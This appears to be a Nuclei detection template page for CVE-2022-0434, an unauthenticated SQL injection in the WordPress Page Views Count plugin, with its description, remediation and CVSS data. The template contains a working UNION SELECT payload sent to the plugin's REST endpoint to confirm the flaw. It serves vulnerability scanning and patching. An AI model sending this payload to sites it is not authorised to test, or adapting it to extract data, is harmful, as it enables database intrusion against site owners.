WordPress Page Views Count <2.4.15 - SQL Injection

ID: CVE-2022-0434

Severity: critical

Author: theamanrawat

Tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,unauth,a3rev

Description

WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability. It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-0434

info:
  name: WordPress Page Views Count <2.4.15 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability.  It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the WordPress Page Views Count plugin (2.4.15) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/be895016-7365-4ce4-a54f-f36d0ef2d6f1
    - https://wordpress.org/plugins/page-views-count/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0434
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0434
    cwe-id: CWE-89
    epss-score: 0.04032
    epss-percentile: 0.92073
    cpe: cpe:2.3:a:a3rev:page_view_count:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: a3rev
    product: page_view_count
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,unauth,a3rev
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5({{num}}),null,null%20--%20g HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 490a0046304402204ff02c74dd6552008f3f5f58f752fe70328c88bbdba41891933c0db575a7a4010220675e1f78205a761cdfb8d9b0bf1cc265ce667a9b4f38e906966727dd6f60fff7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0434.yaml"

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